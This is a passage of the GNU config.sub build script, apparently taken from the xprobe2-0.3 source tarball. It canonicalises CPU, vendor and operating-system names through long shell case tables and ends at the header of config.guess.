then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to ." version="\ GNU config.sub ($timestamp) Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit 0 ;; --version | -v ) echo "$version" ; exit 0 ;; --help | --h* | -h ) echo "$usage"; exit 0 ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" exit 1 ;; *local*) # First pass through any local machine types. echo $1 exit 0;; * ) break ;; esac done case $# in 0) echo "$me: missing argument$help" >&2 exit 1;; 1) ;; *) echo "$me: too many arguments$help" >&2 exit 1;; esac # Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). # Here we must recognize all the valid KERNEL-OS combinations. maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` case $maybe_os in nto-qnx* | linux-gnu* | linux-dietlibc | linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | \ kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* | storm-chaos* | os2-emx* | rtmk-nova*) os=-$maybe_os basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` ;; *) basic_machine=`echo $1 | sed 's/-[^-]*$//'` if [ $basic_machine != $1 ] then os=`echo $1 | sed 's/.*-/-/'` else os=; fi ;; esac ### Let's recognize common machines as not being operating systems so ### that things like config.sub decstation-3100 work. We also ### recognize some manufacturers as not being operating systems, so we ### can provide default operating systems below. case $os in -sun*os*) # Prevent following clause from handling this invalid input. ;; -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ -apple | -axis | -knuth | -cray) os= basic_machine=$1 ;; -sim | -cisco | -oki | -wec | -winbond) os= basic_machine=$1 ;; -scout) ;; -wrs) os=-vxworks basic_machine=$1 ;; -chorusos*) os=-chorusos basic_machine=$1 ;; -chorusrdb) os=-chorusrdb basic_machine=$1 ;; -hiux*) os=-hiuxwe2 ;; -sco5) os=-sco3.2v5 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco4) os=-sco3.2v4 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2.[4-9]*) os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2v[4-9]*) # Don't forget version if it is 3.2v4 or newer. basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco*) os=-sco3.2v2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -udk*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -isc) os=-isc2.2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -clix*) basic_machine=clipper-intergraph ;; -isc*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -lynx*) os=-lynxos ;; -ptx*) basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` ;; -windowsnt*) os=`echo $os | sed -e 's/windowsnt/winnt/'` ;; -psos*) os=-psos ;; -mint | -mint[0-9]*) basic_machine=m68k-atari os=-mint ;; esac # Decode aliases for certain CPU-COMPANY combinations. case $basic_machine in # Recognize the basic CPU types without company name. # Some are omitted here because they have special meanings below. 1750a | 580 \ | a29k \ | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \ | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ | am33_2.0 \ | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \ | c4x | clipper \ | d10v | d30v | dlx | dsp16xx \ | fr30 | frv \ | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ | i370 | i860 | i960 | ia64 \ | ip2k | iq2000 \ | m32r | m32rle | m68000 | m68k | m88k | mcore \ | mips | mipsbe | mipseb | mipsel | mipsle \ | mips16 \ | mips64 | mips64el \ | mips64vr | mips64vrel \ | mips64orion | mips64orionel \ | mips64vr4100 | mips64vr4100el \ | mips64vr4300 | mips64vr4300el \ | mips64vr5000 | mips64vr5000el \ | mipsisa32 | mipsisa32el \ | mipsisa32r2 | mipsisa32r2el \ | mipsisa64 | mipsisa64el \ | mipsisa64r2 | mipsisa64r2el \ | mipsisa64sb1 | mipsisa64sb1el \ | mipsisa64sr71k | mipsisa64sr71kel \ | mipstx39 | mipstx39el \ | mn10200 | mn10300 \ | msp430 \ | ns16k | ns32k \ | openrisc | or32 \ | pdp10 | pdp11 | pj | pjl \ | powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \ | pyramid \ | sh | sh[1234] | sh[23]e | sh[34]eb | shbe | shle | sh[1234]le | sh3ele \ | sh64 | sh64le \ | sparc | sparc64 | sparc86x | sparclet | sparclite | sparcv8 | sparcv9 | sparcv9b \ | strongarm \ | tahoe | thumb | tic4x | tic80 | tron \ | v850 | v850e \ | we32k \ | x86 | xscale | xstormy16 | xtensa \ | z8k) basic_machine=$basic_machine-unknown ;; m6811 | m68hc11 | m6812 | m68hc12) # Motorola 68HC11/12. basic_machine=$basic_machine-unknown os=-none ;; m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k) ;; # We use `pc' rather than `unknown' # because (1) that's what they normally are, and # (2) the word "unknown" tends to confuse beginning users. i*86 | x86_64) basic_machine=$basic_machine-pc ;; # Object if more than one company name word. *-*-*) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; # Recognize the basic CPU types with company name. 580-* \ | a29k-* \ | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \ | alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \ | alphapca5[67]-* | alpha64pca5[67]-* | arc-* \ | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ | avr-* \ | bs2000-* \ | c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \ | clipper-* | craynv-* | cydra-* \ | d10v-* | d30v-* | dlx-* \ | elxsi-* \ | f30[01]-* | f700-* | fr30-* | frv-* | fx80-* \ | h8300-* | h8500-* \ | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \ | i*86-* | i860-* | i960-* | ia64-* \ | ip2k-* | iq2000-* \ | m32r-* | m32rle-* \ | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ | m88110-* | m88k-* | mcore-* \ | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ | mips16-* \ | mips64-* | mips64el-* \ | mips64vr-* | mips64vrel-* \ | mips64orion-* | mips64orionel-* \ | mips64vr4100-* | mips64vr4100el-* \ | mips64vr4300-* | mips64vr4300el-* \ | mips64vr5000-* | mips64vr5000el-* \ | mipsisa32-* | mipsisa32el-* \ | mipsisa32r2-* | mipsisa32r2el-* \ | mipsisa64-* | mipsisa64el-* \ | mipsisa64r2-* | mipsisa64r2el-* \ | mipsisa64sb1-* | mipsisa64sb1el-* \ | mipsisa64sr71k-* | mipsisa64sr71kel-* \ | mipstx39-* | mipstx39el-* \ | mmix-* \ | msp430-* \ | none-* | np1-* | ns16k-* | ns32k-* \ | orion-* \ | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \ | pyramid-* \ | romp-* | rs6000-* \ | sh-* | sh[1234]-* | sh[23]e-* | sh[34]eb-* | shbe-* \ | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ | sparc-* | sparc64-* | sparc86x-* | sparclet-* | sparclite-* \ | sparcv8-* | sparcv9-* | sparcv9b-* | strongarm-* | sv1-* | sx?-* \ | tahoe-* | thumb-* \ | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \ | tron-* \ | v850-* | v850e-* | vax-* \ | we32k-* \ | x86-* | x86_64-* | xps100-* | xscale-* | xstormy16-* \ | xtensa-* \ | ymp-* \ | z8k-*) ;; # Recognize the various machine names and aliases which stand # for a CPU type and a company and sometimes even an OS. 386bsd) basic_machine=i386-unknown os=-bsd ;; 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) basic_machine=m68000-att ;; 3b*) basic_machine=we32k-att ;; a29khif) basic_machine=a29k-amd os=-udi ;; abacus) basic_machine=abacus-unknown ;; adobe68k) basic_machine=m68010-adobe os=-scout ;; alliant | fx80) basic_machine=fx80-alliant ;; altos | altos3068) basic_machine=m68k-altos ;; am29k) basic_machine=a29k-none os=-bsd ;; amd64) basic_machine=x86_64-pc ;; amd64-*) basic_machine=x86_64-`echo $basic_machine | sed 's/^[^-]*-//'` ;; amdahl) basic_machine=580-amdahl os=-sysv ;; amiga | amiga-*) basic_machine=m68k-unknown ;; amigaos | amigados) basic_machine=m68k-unknown os=-amigaos ;; amigaunix | amix) basic_machine=m68k-unknown os=-sysv4 ;; apollo68) basic_machine=m68k-apollo os=-sysv ;; apollo68bsd) basic_machine=m68k-apollo os=-bsd ;; aux) basic_machine=m68k-apple os=-aux ;; balance) basic_machine=ns32k-sequent os=-dynix ;; c90) basic_machine=c90-cray os=-unicos ;; convex-c1) basic_machine=c1-convex os=-bsd ;; convex-c2) basic_machine=c2-convex os=-bsd ;; convex-c32) basic_machine=c32-convex os=-bsd ;; convex-c34) basic_machine=c34-convex os=-bsd ;; convex-c38) basic_machine=c38-convex os=-bsd ;; cray | j90) basic_machine=j90-cray os=-unicos ;; craynv) basic_machine=craynv-cray os=-unicosmp ;; cr16c) basic_machine=cr16c-unknown os=-elf ;; crds | unos) basic_machine=m68k-crds ;; crisv32 | crisv32-* | etraxfs*) basic_machine=crisv32-axis ;; cris | cris-* | etrax*) basic_machine=cris-axis ;; crx) basic_machine=crx-unknown os=-elf ;; da30 | da30-*) basic_machine=m68k-da30 ;; decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) basic_machine=mips-dec ;; decsystem10* | dec10*) basic_machine=pdp10-dec os=-tops10 ;; decsystem20* | dec20*) basic_machine=pdp10-dec os=-tops20 ;; delta | 3300 | motorola-3300 | motorola-delta \ | 3300-motorola | delta-motorola) basic_machine=m68k-motorola ;; delta88) basic_machine=m88k-motorola os=-sysv3 ;; dpx20 | dpx20-*) basic_machine=rs6000-bull os=-bosx ;; dpx2* | dpx2*-bull) basic_machine=m68k-bull os=-sysv3 ;; ebmon29k) basic_machine=a29k-amd os=-ebmon ;; elxsi) basic_machine=elxsi-elxsi os=-bsd ;; encore | umax | mmax) basic_machine=ns32k-encore ;; es1800 | OSE68k | ose68k | ose | OSE) basic_machine=m68k-ericsson os=-ose ;; fx2800) basic_machine=i860-alliant ;; genix) basic_machine=ns32k-ns ;; gmicro) basic_machine=tron-gmicro os=-sysv ;; go32) basic_machine=i386-pc os=-go32 ;; h3050r* | hiux*) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; h8300hms) basic_machine=h8300-hitachi os=-hms ;; h8300xray) basic_machine=h8300-hitachi os=-xray ;; h8500hms) basic_machine=h8500-hitachi os=-hms ;; harris) basic_machine=m88k-harris os=-sysv3 ;; hp300-*) basic_machine=m68k-hp ;; hp300bsd) basic_machine=m68k-hp os=-bsd ;; hp300hpux) basic_machine=m68k-hp os=-hpux ;; hp3k9[0-9][0-9] | hp9[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k2[0-9][0-9] | hp9k31[0-9]) basic_machine=m68000-hp ;; hp9k3[2-9][0-9]) basic_machine=m68k-hp ;; hp9k6[0-9][0-9] | hp6[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k7[0-79][0-9] | hp7[0-79][0-9]) basic_machine=hppa1.1-hp ;; hp9k78[0-9] | hp78[0-9]) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[0-9][13679] | hp8[0-9][13679]) basic_machine=hppa1.1-hp ;; hp9k8[0-9][0-9] | hp8[0-9][0-9]) basic_machine=hppa1.0-hp ;; hppa-next) os=-nextstep3 ;; hppaosf) basic_machine=hppa1.1-hp os=-osf ;; hppro) basic_machine=hppa1.1-hp os=-proelf ;; i370-ibm* | ibm*) basic_machine=i370-ibm ;; # I'm not sure what "Sysv32" means. Should this be sysv3.2? i*86v32) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv32 ;; i*86v4*) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv4 ;; i*86v) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv ;; i*86sol2) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-solaris2 ;; i386mach) basic_machine=i386-mach os=-mach ;; i386-vsta | vsta) basic_machine=i386-unknown os=-vsta ;; iris | iris4d) basic_machine=mips-sgi case $os in -irix*) ;; *) os=-irix4 ;; esac ;; isi68 | isi) basic_machine=m68k-isi os=-sysv ;; m88k-omron*) basic_machine=m88k-omron ;; magnum | m3230) basic_machine=mips-mips os=-sysv ;; merlin) basic_machine=ns32k-utek os=-sysv ;; mingw32) basic_machine=i386-pc os=-mingw32 ;; miniframe) basic_machine=m68000-convergent ;; *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) basic_machine=m68k-atari os=-mint ;; mips3*-*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` ;; mips3*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown ;; monitor) basic_machine=m68k-rom68k os=-coff ;; morphos) basic_machine=powerpc-unknown os=-morphos ;; msdos) basic_machine=i386-pc os=-msdos ;; mvs) basic_machine=i370-ibm os=-mvs ;; ncr3000) basic_machine=i486-ncr os=-sysv4 ;; netbsd386) basic_machine=i386-unknown os=-netbsd ;; netwinder) basic_machine=armv4l-rebel os=-linux ;; news | news700 | news800 | news900) basic_machine=m68k-sony os=-newsos ;; news1000) basic_machine=m68030-sony os=-newsos ;; news-3600 | risc-news) basic_machine=mips-sony os=-newsos ;; necv70) basic_machine=v70-nec os=-sysv ;; next | m*-next ) basic_machine=m68k-next case $os in -nextstep* ) ;; -ns2*) os=-nextstep2 ;; *) os=-nextstep3 ;; esac ;; nh3000) basic_machine=m68k-harris os=-cxux ;; nh[45]000) basic_machine=m88k-harris os=-cxux ;; nindy960) basic_machine=i960-intel os=-nindy ;; mon960) basic_machine=i960-intel os=-mon960 ;; nonstopux) basic_machine=mips-compaq os=-nonstopux ;; np1) basic_machine=np1-gould ;; nsr-tandem) basic_machine=nsr-tandem ;; op50n-* | op60c-*) basic_machine=hppa1.1-oki os=-proelf ;; or32 | or32-*) basic_machine=or32-unknown os=-coff ;; os400) basic_machine=powerpc-ibm os=-os400 ;; OSE68000 | ose68000) basic_machine=m68000-ericsson os=-ose ;; os68k) basic_machine=m68k-none os=-os68k ;; pa-hitachi) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; paragon) basic_machine=i860-intel os=-osf ;; pbd) basic_machine=sparc-tti ;; pbb) basic_machine=m68k-tti ;; pc532 | pc532-*) basic_machine=ns32k-pc532 ;; pentium | p5 | k5 | k6 | nexgen | viac3) basic_machine=i586-pc ;; pentiumpro | p6 | 6x86 | athlon | athlon_*) basic_machine=i686-pc ;; pentiumii | pentium2 | pentiumiii | pentium3) basic_machine=i686-pc ;; pentium4) basic_machine=i786-pc ;; pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*) basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumpro-* | p6-* | 6x86-* | athlon-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentium4-*) basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pn) basic_machine=pn-gould ;; power) basic_machine=power-ibm ;; ppc) basic_machine=powerpc-unknown ;; ppc-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppcle | powerpclittle | ppc-le | powerpc-little) basic_machine=powerpcle-unknown ;; ppcle-* | powerpclittle-*) basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64) basic_machine=powerpc64-unknown ;; ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64le | powerpc64little | ppc64-le | powerpc64-little) basic_machine=powerpc64le-unknown ;; ppc64le-* | powerpc64little-*) basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ps2) basic_machine=i386-ibm ;; pw32) basic_machine=i586-unknown os=-pw32 ;; rom68k) basic_machine=m68k-rom68k os=-coff ;; rm[46]00) basic_machine=mips-siemens ;; rtpc | rtpc-*) basic_machine=romp-ibm ;; s390 | s390-*) basic_machine=s390-ibm ;; s390x | s390x-*) basic_machine=s390x-ibm ;; sa29200) basic_machine=a29k-amd os=-udi ;; sb1) basic_machine=mipsisa64sb1-unknown ;; sb1el) basic_machine=mipsisa64sb1el-unknown ;; sei) basic_machine=mips-sei os=-seiux ;; sequent) basic_machine=i386-sequent ;; sh) basic_machine=sh-hitachi os=-hms ;; sh64) basic_machine=sh64-unknown ;; sparclite-wrs | simso-wrs) basic_machine=sparclite-wrs os=-vxworks ;; sps7) basic_machine=m68k-bull os=-sysv2 ;; spur) basic_machine=spur-unknown ;; st2000) basic_machine=m68k-tandem ;; stratus) basic_machine=i860-stratus os=-sysv4 ;; sun2) basic_machine=m68000-sun ;; sun2os3) basic_machine=m68000-sun os=-sunos3 ;; sun2os4) basic_machine=m68000-sun os=-sunos4 ;; sun3os3) basic_machine=m68k-sun os=-sunos3 ;; sun3os4) basic_machine=m68k-sun os=-sunos4 ;; sun4os3) basic_machine=sparc-sun os=-sunos3 ;; sun4os4) basic_machine=sparc-sun os=-sunos4 ;; sun4sol2) basic_machine=sparc-sun os=-solaris2 ;; sun3 | sun3-*) basic_machine=m68k-sun ;; sun4) basic_machine=sparc-sun ;; sun386 | sun386i | roadrunner) basic_machine=i386-sun ;; sv1) basic_machine=sv1-cray os=-unicos ;; symmetry) basic_machine=i386-sequent os=-dynix ;; t3e) basic_machine=alphaev5-cray os=-unicos ;; t90) basic_machine=t90-cray os=-unicos ;; tic54x | c54x*) basic_machine=tic54x-unknown os=-coff ;; tic55x | c55x*) basic_machine=tic55x-unknown os=-coff ;; tic6x | c6x*) basic_machine=tic6x-unknown os=-coff ;; tx39) basic_machine=mipstx39-unknown ;; tx39el) basic_machine=mipstx39el-unknown ;; toad1) basic_machine=pdp10-xkl os=-tops20 ;; tower | tower-32) basic_machine=m68k-ncr ;; tpf) basic_machine=s390x-ibm os=-tpf ;; udi29k) basic_machine=a29k-amd os=-udi ;; ultra3) basic_machine=a29k-nyu os=-sym1 ;; v810 | necv810) basic_machine=v810-nec os=-none ;; vaxv) basic_machine=vax-dec os=-sysv ;; vms) basic_machine=vax-dec os=-vms ;; vpp*|vx|vx-*) basic_machine=f301-fujitsu ;; vxworks960) basic_machine=i960-wrs os=-vxworks ;; vxworks68) basic_machine=m68k-wrs os=-vxworks ;; vxworks29k) basic_machine=a29k-wrs os=-vxworks ;; w65*) basic_machine=w65-wdc os=-none ;; w89k-*) basic_machine=hppa1.1-winbond os=-proelf ;; xps | xps100) basic_machine=xps100-honeywell ;; ymp) basic_machine=ymp-cray os=-unicos ;; z8k-*-coff) basic_machine=z8k-unknown os=-sim ;; none) basic_machine=none-none os=-none ;; # Here we handle the default manufacturer of certain CPU types. It is in # some cases the only manufacturer, in others, it is the most popular. w89k) basic_machine=hppa1.1-winbond ;; op50n) basic_machine=hppa1.1-oki ;; op60c) basic_machine=hppa1.1-oki ;; romp) basic_machine=romp-ibm ;; mmix) basic_machine=mmix-knuth ;; rs6000) basic_machine=rs6000-ibm ;; vax) basic_machine=vax-dec ;; pdp10) # there are many clones, so DEC is not a safe bet basic_machine=pdp10-unknown ;; pdp11) basic_machine=pdp11-dec ;; we32k) basic_machine=we32k-att ;; sh3 | sh4 | sh[34]eb | sh[1234]le | sh[23]ele) basic_machine=sh-unknown ;; sh64) basic_machine=sh64-unknown ;; sparc | sparcv8 | sparcv9 | sparcv9b) basic_machine=sparc-sun ;; cydra) basic_machine=cydra-cydrome ;; orion) basic_machine=orion-highlevel ;; orion105) basic_machine=clipper-highlevel ;; mac | mpw | mac-mpw) basic_machine=m68k-apple ;; pmac | pmac-mpw) basic_machine=powerpc-apple ;; *-unknown) # Make sure to match an already-canonicalized machine name. ;; *) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; esac # Here we canonicalize certain aliases for manufacturers. case $basic_machine in *-digital*) basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` ;; *-commodore*) basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` ;; *) ;; esac # Decode manufacturer-specific aliases for certain operating systems. if [ x"$os" != x"" ] then case $os in # First match some system type aliases # that might get confused with valid system types. # -solaris* is a basic system type, with this one exception. -solaris1 | -solaris1.*) os=`echo $os | sed -e 's|solaris1|sunos4|'` ;; -solaris) os=-solaris2 ;; -svr4*) os=-sysv4 ;; -unixware*) os=-sysv4.2uw ;; -gnu/linux*) os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` ;; # First accept the basic system types. # The portable systems comes first. # Each alternative MUST END IN A *, to match a version number. # -sysv* is not here because it comes later, after sysvr4. -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\ | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \ | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ | -aos* \ | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* | -openbsd* \ | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \ | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ | -chorusos* | -chorusrdb* \ | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ | -mingw32* | -linux-gnu* | -linux-uclibc* | -uxpv* | -beos* | -mpeix* | -udk* \ | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \ | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \ | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \ | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \ | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \ | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly*) # Remember, each alternative MUST END IN *, to match a version number. ;; -qnx*) case $basic_machine in x86-* | i*86-*) ;; *) os=-nto$os ;; esac ;; -nto-qnx*) ;; -nto*) os=`echo $os | sed -e 's|nto|nto-qnx|'` ;; -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ | -windows* | -osx | -abug | -netware* | -os9* | -beos* \ | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*) ;; -mac*) os=`echo $os | sed -e 's|mac|macos|'` ;; -linux-dietlibc) os=-linux-dietlibc ;; -linux*) os=`echo $os | sed -e 's|linux|linux-gnu|'` ;; -sunos5*) os=`echo $os | sed -e 's|sunos5|solaris2|'` ;; -sunos6*) os=`echo $os | sed -e 's|sunos6|solaris3|'` ;; -opened*) os=-openedition ;; -os400*) os=-os400 ;; -wince*) os=-wince ;; -osfrose*) os=-osfrose ;; -osf*) os=-osf ;; -utek*) os=-bsd ;; -dynix*) os=-bsd ;; -acis*) os=-aos ;; -atheos*) os=-atheos ;; -syllable*) os=-syllable ;; -386bsd) os=-bsd ;; -ctix* | -uts*) os=-sysv ;; -nova*) os=-rtmk-nova ;; -ns2 ) os=-nextstep2 ;; -nsk*) os=-nsk ;; # Preserve the version number of sinix5. -sinix5.*) os=`echo $os | sed -e 's|sinix|sysv|'` ;; -sinix*) os=-sysv4 ;; -tpf*) os=-tpf ;; -triton*) os=-sysv3 ;; -oss*) os=-sysv3 ;; -svr4) os=-sysv4 ;; -svr3) os=-sysv3 ;; -sysvr4) os=-sysv4 ;; # This must come after -sysvr4. -sysv*) ;; -ose*) os=-ose ;; -es1800*) os=-ose ;; -xenix) os=-xenix ;; -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) os=-mint ;; -aros*) os=-aros ;; -kaos*) os=-kaos ;; -none) ;; *) # Get rid of the `-' at the beginning of $os. os=`echo $os | sed 's/[^-]*-//'` echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 exit 1 ;; esac else # Here we handle the default operating systems that come with various machines. # The value should be what the vendor currently ships out the door with their # machine or put another way, the most popular os provided with the machine. # Note that if you're going to try to match "-MANUFACTURER" here (say, # "-sun"), then you have to tell the case statement up towards the top # that MANUFACTURER isn't an operating system. Otherwise, code above # will signal an error saying that MANUFACTURER isn't an operating # system, and we'll never get to this point. case $basic_machine in *-acorn) os=-riscix1.2 ;; arm*-rebel) os=-linux ;; arm*-semi) os=-aout ;; c4x-* | tic4x-*) os=-coff ;; # This must come before the *-dec entry. pdp10-*) os=-tops20 ;; pdp11-*) os=-none ;; *-dec | vax-*) os=-ultrix4.2 ;; m68*-apollo) os=-domain ;; i386-sun) os=-sunos4.0.2 ;; m68000-sun) os=-sunos3 # This also exists in the configure program, but was not the # default. # os=-sunos4 ;; m68*-cisco) os=-aout ;; mips*-cisco) os=-elf ;; mips*-*) os=-elf ;; or32-*) os=-coff ;; *-tti) # must be before sparc entry or we get the wrong os. os=-sysv3 ;; sparc-* | *-sun) os=-sunos4.1.1 ;; *-be) os=-beos ;; *-ibm) os=-aix ;; *-knuth) os=-mmixware ;; *-wec) os=-proelf ;; *-winbond) os=-proelf ;; *-oki) os=-proelf ;; *-hp) os=-hpux ;; *-hitachi) os=-hiux ;; i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) os=-sysv ;; *-cbm) os=-amigaos ;; *-dg) os=-dgux ;; *-dolphin) os=-sysv3 ;; m68k-ccur) os=-rtu ;; m88k-omron*) os=-luna ;; *-next ) os=-nextstep ;; *-sequent) os=-ptx ;; *-crds) os=-unos ;; *-ns) os=-genix ;; i370-*) os=-mvs ;; *-next) os=-nextstep3 ;; *-gould) os=-sysv ;; *-highlevel) os=-bsd ;; *-encore) os=-bsd ;; *-sgi) os=-irix ;; *-siemens) os=-sysv4 ;; *-masscomp) os=-rtu ;; f30[01]-fujitsu | f700-fujitsu) os=-uxpv ;; *-rom68k) os=-coff ;; *-*bug) os=-coff ;; *-apple) os=-macos ;; *-atari*) os=-mint ;; *) os=-none ;; esac fi # Here we handle the case where we know the os, and the CPU type, but not the # manufacturer. We pick the logical manufacturer. vendor=unknown case $basic_machine in *-unknown) case $os in -riscix*) vendor=acorn ;; -sunos*) vendor=sun ;; -aix*) vendor=ibm ;; -beos*) vendor=be ;; -hpux*) vendor=hp ;; -mpeix*) vendor=hp ;; -hiux*) vendor=hitachi ;; -unos*) vendor=crds ;; -dgux*) vendor=dg ;; -luna*) vendor=omron ;; -genix*) vendor=ns ;; -mvs* | -opened*) vendor=ibm ;; -os400*) vendor=ibm ;; -ptx*) vendor=sequent ;; -tpf*) vendor=ibm ;; -vxsim* | -vxworks* | -windiss*) vendor=wrs ;; -aux*) vendor=apple ;; -hms*) vendor=hitachi ;; -mpw* | -macos*) vendor=apple ;; -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) vendor=atari ;; -vos*) vendor=stratus ;; esac basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` ;; esac echo $basic_machine$os exit 0 # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End: xprobe2-0.3/cfg-scripts/config.guess000755 001751 000000 00000124504 10271643771 017745 0ustar00mederwheel000000 000000 #! /bin/sh # Attempt to guess a canonical system name. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. timestamp='2004-09-07' # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 